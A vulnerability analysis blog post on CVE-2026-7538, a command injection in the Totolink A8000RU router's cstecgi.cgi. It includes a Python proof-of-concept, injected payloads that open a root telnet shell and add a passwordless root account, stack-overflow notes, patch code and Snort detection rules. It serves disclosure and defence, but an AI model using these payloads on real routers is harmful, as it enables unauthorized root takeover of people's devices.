home intel cve-2026-7538-totolink-a8000ru-cgi-command-injection
CVE Analysis 2026-05-01 · 8 min read

CVE-2026-7538: OS Command Injection via proto Arg in Totolink A8000RU CGI

Totolink A8000RU 7.1cu.643_b20200521 exposes unauthenticated OS command injection through the proto argument in cstecgi.cgi. CVSS 9.8, remotely exploitable, PoC public.

#os-command-injection#remote-code-execution#cgi-handler#router-firmware#unauthenticated-access
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7538 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7538CRITICALSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7538 is a critical OS command injection vulnerability in the Totolink A8000RU wireless router, firmware version 7.1cu.643_b20200521. The vulnerable surface is /cgi-bin/cstecgi.cgi, a monolithic CGI binary responsible for nearly all web-based configuration on the device. An attacker with network access to the router's HTTP interface can inject arbitrary shell commands through the proto parameter, achieving unauthenticated remote code execution as root.

The vulnerability class is textbook: attacker-controlled input is embedded directly into a system() or equivalent call without sanitization. No authentication is required. A public exploit exists. CVSS base score is 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Affected Component

The vulnerable binary is /cgi-bin/cstecgi.cgi, a statically-linked MIPS32 ELF compiled without stack canaries or PIE. It handles POST requests for the router's entire configuration surface, dispatching on a JSON field named topicurl to determine the action. The handler that processes network diagnostic or WAN protocol configuration reads the proto argument from user-supplied JSON and passes it unsanitized into a shell command string.

Firmware: Totolink A8000RU 7.1cu.643_b20200521
Binary: /cgi-bin/cstecgi.cgi (MIPS32el, statically linked, ~3.2MB)
Mitigations present: None (no stack canary, no PIE, NX not enforced on all regions)
Authentication required: No

Root Cause Analysis

After loading the firmware image and unpacking the squashfs root, the CGI binary can be analyzed in Ghidra or IDA. The relevant handler — here reconstructed as setWanCfg based on string artifacts and dispatch table patterns common to Totolink CGI binaries — parses the POST body as JSON, extracts proto, and constructs a shell command using sprintf before passing it to system().


// Reconstructed from MIPS32 decompilation of cstecgi.cgi
// Handler dispatched via topicurl == "setWanCfg" or similar diagnostic action

typedef struct {
    char  username[64];
    char  password[64];
    char  proto[64];      // BUG: fixed-size buffer, no length check before copy
    char  ipaddr[32];
    char  netmask[32];
    char  gateway[32];
    int   mtu;
    int   wan_index;
} wan_cfg_t;

int setWanCfg(cgi_ctx_t *ctx) {
    wan_cfg_t cfg;
    char cmd[256];
    char *proto_val;
    char *body;

    memset(&cfg, 0, sizeof(wan_cfg_t));

    body     = cgi_get_post_body(ctx);           // raw POST body
    proto_val = json_get_string(body, "proto");  // extracts "proto" field value

    if (proto_val == NULL) {
        cgi_send_error(ctx, "missing proto");
        return -1;
    }

    // BUG: no length check, no character sanitization before strcpy
    strcpy(cfg.proto, proto_val);   // attacker-controlled string copied verbatim

    // BUG: cfg.proto embedded directly into shell command — classic command injection
    snprintf(cmd, sizeof(cmd),
             "uci set network.wan.proto=%s && uci commit network && /etc/init.d/network restart",
             cfg.proto);  // BUG: shell metacharacters not escaped

    system(cmd);          // BUG: executes attacker-controlled shell string as root

    cgi_send_ok(ctx);
    return 0;
}
Root cause: The proto POST parameter is copied into a fixed buffer and interpolated verbatim into a system() call via snprintf, with no shell metacharacter escaping or input length validation, enabling remote OS command injection as root.

The json_get_string function returns a pointer directly into the parsed JSON buffer — the returned string is not length-bounded before the strcpy. Even if the strcpy were replaced with strncpy, the downstream snprintf injection remains because no metacharacter sanitization is performed.

Exploitation Mechanics


EXPLOIT CHAIN:

1. Attacker sends unauthenticated HTTP POST to http://<router_ip>/cgi-bin/cstecgi.cgi

2. POST body contains JSON with topicurl dispatching to the vulnerable handler:
      {"topicurl":"setWanCfg","proto":"dhcp;CMD;","ipaddr":"","netmask":"","gateway":""}
   where CMD is the injected payload.

3. json_get_string() returns pointer to "dhcp;CMD;" — no copy or length limit applied.

4. strcpy(cfg.proto, proto_val) copies the full attacker string into cfg.proto[64].
   If CMD > ~50 bytes, this overflows cfg.proto into adjacent struct fields (secondary
   stack corruption primitive, not required for code exec).

5. snprintf() constructs:
      "uci set network.wan.proto=dhcp;CMD; && uci commit ..."
   Shell tokenizes on ';' — CMD executes as a separate command.

6. system() forks /bin/sh -c "" — CMD runs as root (uid=0).

7. For reverse shell:
      proto = "dhcp;telnetd -l /bin/sh -p 9999 -b 0.0.0.0;"
   Opens unauthenticated root shell on port 9999.

8. For persistence:
      proto = "dhcp;echo 'root::0:0:root:/root:/bin/sh' >> /etc/passwd;"
   Adds passwordless root account.

A minimal Python PoC demonstrating the injection:


#!/usr/bin/env python3
# CVE-2026-7538 — Totolink A8000RU proto command injection PoC
# Usage: python3 poc.py  ''

import sys
import requests
import json

def exploit(target_ip: str, cmd: str) -> None:
    url = f"http://{target_ip}/cgi-bin/cstecgi.cgi"

    # Inject via shell semicolon delimiter; close the uci value cleanly
    injected_proto = f"dhcp;{cmd};"

    payload = json.dumps({
        "topicurl": "setWanCfg",
        "proto":    injected_proto,
        "ipaddr":   "",
        "netmask":  "",
        "gateway":  "",
        "mtu":      "1500",
        "wan_index": "0"
    })

    headers = {
        "Content-Type": "application/json",
        "Content-Length": str(len(payload)),
    }

    try:
        r = requests.post(url, data=payload, headers=headers, timeout=5)
        print(f"[*] Response HTTP {r.status_code}")
        print(f"[*] Body: {r.text[:200]}")
    except requests.exceptions.Timeout:
        # Command may have restarted network — expected for some payloads
        print("[*] Timeout — command likely executed (network restart side effect)")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]}  ''")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Memory Layout

The wan_cfg_t struct lives on the stack frame of setWanCfg. The cmd buffer follows immediately. With a payload exceeding 64 bytes in proto, the strcpy walks through adjacent struct fields and into cmd.


struct wan_cfg_t field layout (stack frame, MIPS32, grows downward):

    /* +0x000 */ char username[64];    // offset 0   — 0x40 bytes
    /* +0x040 */ char password[64];    // offset 64  — 0x40 bytes
    /* +0x080 */ char proto[64];       // offset 128 — 0x40 bytes  <-- strcpy target
    /* +0x0C0 */ char ipaddr[32];      // offset 192 — attacker overflows here
    /* +0x0E0 */ char netmask[32];     // offset 224
    /* +0x100 */ char gateway[32];     // offset 256
    /* +0x120 */ int  mtu;             // offset 288
    /* +0x124 */ int  wan_index;       // offset 292
                 // [saved registers / return address follow]

STACK STATE — setWanCfg frame (MIPS32, sp-relative):

BEFORE strcpy (proto_val = "dhcp;telnetd -l /bin/sh -p 9999 -b 0.0.0.0;"):

  sp+0x000  [ username[64]   = 0x00 x64                        ]
  sp+0x040  [ password[64]   = 0x00 x64                        ]
  sp+0x080  [ proto[64]      = 0x00 x64                        ]  <-- write starts here
  sp+0x0C0  [ ipaddr[32]     = 0x00 x32                        ]
  sp+0x0E0  [ netmask[32]    = 0x00 x32                        ]
  sp+0x100  [ gateway[32]    = 0x00 x32                        ]
  sp+0x120  [ mtu = 0, wan_index = 0                           ]
  sp+0x128  [ saved $ra      = return address into dispatcher  ]

AFTER strcpy (payload = 50 bytes — fits cleanly, no overflow for minimal PoC):

  sp+0x080  [ proto[64]      = "dhcp;telnetd -l /bin/sh -p 9999 -b 0.0.0.0;\x00..." ]

AFTER strcpy (payload > 64 bytes — overflows into ipaddr):

  sp+0x080  [ proto[64]      = "AAAA...AAAA" (64 bytes, no null)                    ]
  sp+0x0C0  [ ipaddr[32]     = ATTACKER CONTROLLED — struct fields corrupted        ]
  ...
  sp+0x128  [ saved $ra      = ATTACKER CONTROLLED if payload >= 0x128-0x80 = 0xA8  ]
             --> 0xA8 = 168 bytes of padding + 4 bytes overwrites return address
             --> ROP/shellcode possible as secondary primitive

Patch Analysis

The correct fix requires two independent changes: input length validation before copy, and shell metacharacter escaping (or whitelist validation) before interpolation into the command string.


// BEFORE (vulnerable): cstecgi.cgi setWanCfg, firmware 7.1cu.643_b20200521

proto_val = json_get_string(body, "proto");
strcpy(cfg.proto, proto_val);  // no length check
snprintf(cmd, sizeof(cmd),
         "uci set network.wan.proto=%s && uci commit network && /etc/init.d/network restart",
         cfg.proto);           // no sanitization
system(cmd);


// AFTER (patched — recommended remediation):

proto_val = json_get_string(body, "proto");

// Fix 1: length-bound the copy
if (proto_val == NULL || strlen(proto_val) >= sizeof(cfg.proto)) {
    cgi_send_error(ctx, "invalid proto");
    return -1;
}
strncpy(cfg.proto, proto_val, sizeof(cfg.proto) - 1);
cfg.proto[sizeof(cfg.proto) - 1] = '\0';

// Fix 2: whitelist validation — proto must be one of known-safe values
static const char *allowed_protos[] = {
    "dhcp", "static", "pppoe", "pptp", "l2tp", NULL
};
int proto_ok = 0;
for (int i = 0; allowed_protos[i] != NULL; i++) {
    if (strcmp(cfg.proto, allowed_protos[i]) == 0) { proto_ok = 1; break; }
}
if (!proto_ok) {
    cgi_send_error(ctx, "unsupported proto");
    return -1;
}

// Fix 3: use execv-style invocation, not system(), to avoid shell interpretation
// (preferred architectural fix — eliminates the injection surface entirely)
execv("/sbin/uci", (char *const[]){
    "uci", "set",
    /* build arg safely */ uci_proto_arg,   // constructed without shell
    NULL
});

Detection and Indicators

The following signatures can detect exploitation attempts in HTTP access logs or via IDS:


NETWORK INDICATORS:

1. HTTP POST to /cgi-bin/cstecgi.cgi containing shell metacharacters in JSON:
      Snort/Suricata rule:
      alert http any any -> $HOME_NET 80 (
          msg:"CVE-2026-7538 Totolink proto injection";
          flow:established,to_server;
          http.uri; content:"/cgi-bin/cstecgi.cgi";
          http.request_body; content:"proto";
          http.request_body; pcre:"/\"proto\"\s*:\s*\"[^\"]*[;&|`$()]/";
          classtype:web-application-attack; sid:2026753801; rev:1;
      )

2. Outbound connection from router to unexpected IP after POST (reverse shell):
      alert tcp $HOME_NET any -> $EXTERNAL_NET any (
          msg:"Totolink A8000RU possible reverse shell";
          flow:established,to_server;
          flags:S; threshold:type limit,track by_src,count 1,seconds 60;
          sid:2026753802; rev:1;
      )

HOST INDICATORS (if shell access available post-compromise):

- Unexpected process: telnetd, nc, wget, curl spawned by httpd/cstecgi
- /etc/passwd modified mtime newer than firmware flash date
- Listening port not present in stock firmware (e.g., :9999)
- /tmp/ containing downloaded binaries (implant staging)

LOG PATTERN (router access log, if enabled):
  POST /cgi-bin/cstecgi.cgi — body contains: "proto":"dhcp;

Remediation

Immediate mitigations (no patch available as of publication):

  • Disable remote management. Ensure the router's web interface (port 80/443) is not exposed to the WAN interface. Verify via the router's firewall rules — Totolink devices sometimes expose the management interface on WAN by default.
  • Network segmentation. Place the device behind a firewall that blocks inbound HTTP to the management IP. LAN-side exposure is still a risk from compromised hosts or SSRF.
  • Firmware replacement. The A8000RU has community-supported OpenWrt targets for similar hardware generations. Evaluate whether a community firmware eliminates the vulnerable binary entirely.
  • Vendor patch. Contact Totolink for an updated firmware build. Reference CVE-2026-7538 and firmware version 7.1cu.643_b20200521. Monitor http://www.totolink.net for updated firmware releases.
  • Monitor for exploitation. Deploy the Snort signatures above on any network where A8000RU devices are present. Alert on any POST to /cgi-bin/cstecgi.cgi containing semicolons, backticks, or pipe characters in JSON values.

This vulnerability class — unsanitized user input passed to system() in a CGI binary — is endemic to Totolink and similar budget SOHO router vendors. The same pattern appears in multiple CVEs across the A3000RU, X5000R, and EX200 product lines. The systemic fix is adoption of a structured IPC mechanism (e.g., ubus on OpenWrt) that never constructs shell strings from user input. Until vendors adopt such architectures, each parameter in each handler must be treated as a new attack surface requiring independent sanitization.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →